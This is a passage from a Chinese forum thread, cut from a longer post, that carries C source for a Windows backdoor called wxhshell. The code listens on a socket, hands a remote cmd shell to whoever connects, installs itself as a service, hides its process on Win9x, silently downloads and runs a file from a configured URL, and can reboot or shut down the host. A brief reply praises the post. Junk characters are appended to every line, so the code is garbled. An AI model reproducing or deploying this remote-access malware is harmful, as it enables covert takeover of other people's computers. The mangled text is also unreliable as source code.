  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HrZ\=1RB  
  else #}rv)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UR&Uwa&.  
  } a}+7MEUmZ/  
  else { N{<=s]I%x  
er?'o1M  
    switch(cmd[0]) { d8? }69:h  
  1wpeYn7>W  
  // 帮助 duKR;5:  
  case '?': { jWd 7>1R?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L27i_4E,  
    break; "38ya2*  
  } HV??B :  
  // 安装 `%x6;Ha  
  case 'i': { :+SpZ>  
    if(Install()) &T8prE?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / 1jb8w'  
    else |? !Ew# w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Pz},!7  
    break; pA*cF!tq 7  
    } /f9jLY +  
  // 卸载 >~5>)yN_a1  
  case 'r': { pOn>m1|  
    if(Uninstall()) VR/>V7*7@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J['paHSF  
    else 5CxD ys&<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =yf LqU  
    break; %jK-}0Tu  
    } c D+IMlT  
  // 显示 wxhshell 所在路径 9T4x1{mO  
  case 'p': { MEQ :[;1  
    char svExeFile[MAX_PATH]; XQu~/{A=  
    strcpy(svExeFile,"\n\r"); fL8+J]6A6  
      strcat(svExeFile,ExeFile); mACj>0Z'  
        send(wsh,svExeFile,strlen(svExeFile),0); uhFj|r$$  
    break; AWP CJmr  
    } vmW4 3K;  
  // 重启 h,q%MZ==^s  
  case 'b': { <aR8fU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;K:)R_H  
    if(Boot(REBOOT)) aZYa<28?L%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dE*n!@  
    else { ;wfzlUBC  
    closesocket(wsh); Nt^R~#8hF>  
    ExitThread(0); r[zxb0YA  
    } &WIiw$@  
    break; GQTMQXn(  
    } b:Lp`8Du  
  // 关机 h$p]#]uMb  
  case 'd': { oXg KuR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )z9)oM\  
    if(Boot(SHUTDOWN)) f~u]fpkz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nBGFa  
    else { )DsC:cP  
    closesocket(wsh); J'O</o@e  
    ExitThread(0); Z@=1-l  
    } wj/\ !V!  
    break; (z0S5#g ,x  
    } o[Yxh%T  
  // 获取shell Da!A1|"  
  case 's': { ~ jb6  
    CmdShell(wsh); #]i*u1  
    closesocket(wsh); 3u7N/OQ(  
    ExitThread(0); edqekjh  
    break; h#?L6<*tm  
  } Us'm9 J  
  // 退出 rS>JzbWa  
  case 'x': { Z;bzp3v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #J]u3*T n|  
    CloseIt(wsh); ]&1Kz 2/  
    break; 3~\mP\/4v  
    } \iAkF`OC  
  // 离开 EZz Ox(g  
  case 'q': { @<e+E"6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] 5lp.#EB  
    closesocket(wsh); =yiRB?  
    WSACleanup(); Z&%#,0>]  
    exit(1); w4 <FC$  
    break; V?v,q'? $  
        } C`3}7qi|C  
  } 2/qP:3)  
  } "#2z 'J  
&dZ-}. af  
  // 提示信息 a3 <D1"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~,dkV  
} sB ]~=vUP  
  } yc2c{<Ya5  
<8p53*a  
  return; zCT Wi  
} imAsE;:  
]lzt "[  
// shell模块句柄 [K;J#0V+&L  
int CmdShell(SOCKET sock) <Brq7:n|  
{ 7=t4;8|j;  
STARTUPINFO si; aEVBU  
ZeroMemory(&si,sizeof(si)); |jV>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ywpk\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~k?7XF I  
PROCESS_INFORMATION ProcessInfo; L,| 60*  
char cmdline[]="cmd"; u-3A6Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }s=D,_}m  
  return 0; Jz s.)  
} S,m)yh.  
Mxn>WCPo  
// 自身启动模式 d6-a\]gF  
int StartFromService(void) m(E-?VMHo  
{ ps"DL4*  
typedef struct N;7Xt9l  
{ m5SJB]a/  
  DWORD ExitStatus; 8[U1{s:J  
  DWORD PebBaseAddress; 3>%rm%ffE  
  DWORD AffinityMask; d0~F|j\#  
  DWORD BasePriority; `3^ *K/K\  
  ULONG UniqueProcessId; nVV>;e[  
  ULONG InheritedFromUniqueProcessId; ^4_)a0Kcm,  
}   PROCESS_BASIC_INFORMATION; '5.n2 8W>  
QWv+J a  
PROCNTQSIP NtQueryInformationProcess; i ~fkjn  
('pNAn!]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eD/O)X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W}bed],l  
D ::),,  
  HANDLE             hProcess; Tw"u{%t  
  PROCESS_BASIC_INFORMATION pbi; I.TdYSB  
N"/jn_>+j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X[:Hp`_$  
  if(NULL == hInst ) return 0; Lt0JUUa0  
]7n+|@3x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x2 /\%!mt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); | ?3\xw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ml24SeC  
%N_5p'W  
  if (!NtQueryInformationProcess) return 0; [ !/u,  
4%1sOnl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jIwz G+)$P  
  if(!hProcess) return 0; 0P^RciC f  
(:Rj:8{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AJt *48H*G  
:@{(^}N8u  
  CloseHandle(hProcess); ED&>~~k)  
t7tX<|aN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |u8IQR'B  
if(hProcess==NULL) return 0; X&fM36o7  
Z`<S_PPz  
HMODULE hMod; r$}M,! J  
char procName[255]; z[X>>P3<n  
unsigned long cbNeeded; $L_-U~^  
1@sy:{ d`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T%Xl(.Ft  
ec+&K?T  
  CloseHandle(hProcess); V  @8+  
3maiBAOKz  
if(strstr(procName,"services")) return 1; // 以服务启动 UXwnE@`F  
mH2XwA|  
  return 0; // 注册表启动 G=Hvh=K(  
} OAO|HH  
FIhq>L.q4  
// 主模块 .Nz2K[  
int StartWxhshell(LPSTR lpCmdLine) fVx<f.xuW  
{ o^FlQy\  
  SOCKET wsl; :UM>`Y  
BOOL val=TRUE; ~kPHf_B;z  
  int port=0; ]W39HL  
  struct sockaddr_in door; $q,2VH:Ip  
$(B|$e^:(  
  if(wscfg.ws_autoins) Install(); ^N#B( F  
>Q#h,x~vu  
port=atoi(lpCmdLine); Wsya:9|  
{Qbg'|HO=l  
if(port<=0) port=wscfg.ws_port; TELN4*  
<5(P4cm9  
  WSADATA data; _0dm?=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p&dpDJ?d:=  
VWf&F`^B(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dPZrX{ c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N Q~keN  
  door.sin_family = AF_INET; 5e=9~].7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hy=';Ccn}  
  door.sin_port = htons(port); =REMSe j  
4FUY1p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }-QFMPXhG  
closesocket(wsl); xa#;<8 iV  
return 1; EYWRTh  
} y,'M3GGl  
`L# pN5  
  if(listen(wsl,2) == INVALID_SOCKET) { KBJ%$OQV  
closesocket(wsl); ScOiOz:Ha  
return 1; v,bCj6  
} sI\v}$(~  
  Wxhshell(wsl); vpnQs#8O  
  WSACleanup(); dC+WII`V  
8h"Val|qP  
return 0; U4;r.#qw,  
APY^A6^:j  
} HZ%2WM  
-Uj)6PzGu  
// 以NT服务方式启动 %L(;}sJ.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SR)jJ=R3  
{ mQ(6ahD U  
DWORD   status = 0; ,F}\njL  
  DWORD   specificError = 0xfffffff; $>^DkrOd  
%S*<2F9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #o`y<1rN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i2.g}pM.A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LB9D6,*t  
  serviceStatus.dwWin32ExitCode     = 0; khFr%u ?S  
  serviceStatus.dwServiceSpecificExitCode = 0; IBfLb(I  
  serviceStatus.dwCheckPoint       = 0; y2Eq-Ie  
  serviceStatus.dwWaitHint       = 0; 96G8B62  
n}0n!Pr^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \tR](, /  
  if (hServiceStatusHandle==0) return; V+`gkWe/  
y,&'nk}  
status = GetLastError(); 0xE37Ld,  
  if (status!=NO_ERROR) 2S%[YR>>  
{ |q| ?y`X4/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <46> v<  
    serviceStatus.dwCheckPoint       = 0; GZ=7)eJ~<  
    serviceStatus.dwWaitHint       = 0; mQL8ec_c  
    serviceStatus.dwWin32ExitCode     = status; U)CGRh8%+  
    serviceStatus.dwServiceSpecificExitCode = specificError; U'4j+vUc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &.W,Hh  
    return; >}~\*Y\8@  
  } .M(')$\U  
>- S?rXO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /wAx#[c[  
  serviceStatus.dwCheckPoint       = 0; v9*ugu[K9  
  serviceStatus.dwWaitHint       = 0; o,qq*}=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P}"=67$  
} j8Pqc]  
CG#lpAs  
// 处理NT服务事件,比如:启动、停止 sr S2v\1:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |h^[/  
{ 6ij L+5  
switch(fdwControl) Kd='l~rby  
{ "Y'MuV'x  
case SERVICE_CONTROL_STOP: >T{Gl/? p  
  serviceStatus.dwWin32ExitCode = 0; M[eq)a$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,gO}H)v]t  
  serviceStatus.dwCheckPoint   = 0; Fh8 8DDJ  
  serviceStatus.dwWaitHint     = 0; $G\WW@*GE  
  { bF2RP8?en  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]u5B]ZQnA  
  } p]jkfsCjN  
  return; @ra^0  
case SERVICE_CONTROL_PAUSE: srbES6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hZZ  
  break; 5S9i>B  
case SERVICE_CONTROL_CONTINUE: kh4., \'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^U q%-a  
  break; fk*I}pDx  
case SERVICE_CONTROL_INTERROGATE: KIRCye  
  break; H|\@[:A+  
}; 9-/u _$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eW<|I  
} SAVA6 64  
k3PFCl~e  
// 标准应用程序主函数 +x!Hc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %[cZ,F=  
{ C(%b!Q,2  
H^3f!\MC;o  
// 获取操作系统版本 AT6o~u!WU  
OsIsNt=GetOsVer(); \k4em{K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r5,V-5b  
ohJo1}{  
  // 从命令行安装 !eu\ShI  
  if(strpbrk(lpCmdLine,"iI")) Install(); !{1;wC(b  
olv0w ;s  
  // 下载执行文件 d6+$[4w  
if(wscfg.ws_downexe) { 2RbK##`vC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WrHY'  
  WinExec(wscfg.ws_filenam,SW_HIDE); L*6R5i>  
} WEaG/)y  
PQd*)6K:A  
if(!OsIsNt) { ROhhd.  
// 如果时win9x,隐藏进程并且设置为注册表启动 H8x66}  
HideProc(); T? g%I  
StartWxhshell(lpCmdLine); c 8t  
} Y&uwi:_g  
else P @Jo[J<  
  if(StartFromService()) %O|+` "  
  // 以服务方式启动 0SV<Pl^  
  StartServiceCtrlDispatcher(DispatchTable); eF"k"Ckt'  
else Yi?v |H<a  
  // 普通方式启动 $2E&~W %  
  StartWxhshell(lpCmdLine); 41v#|%\w  
1j*E/L  
return 0; y3 "+4e  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八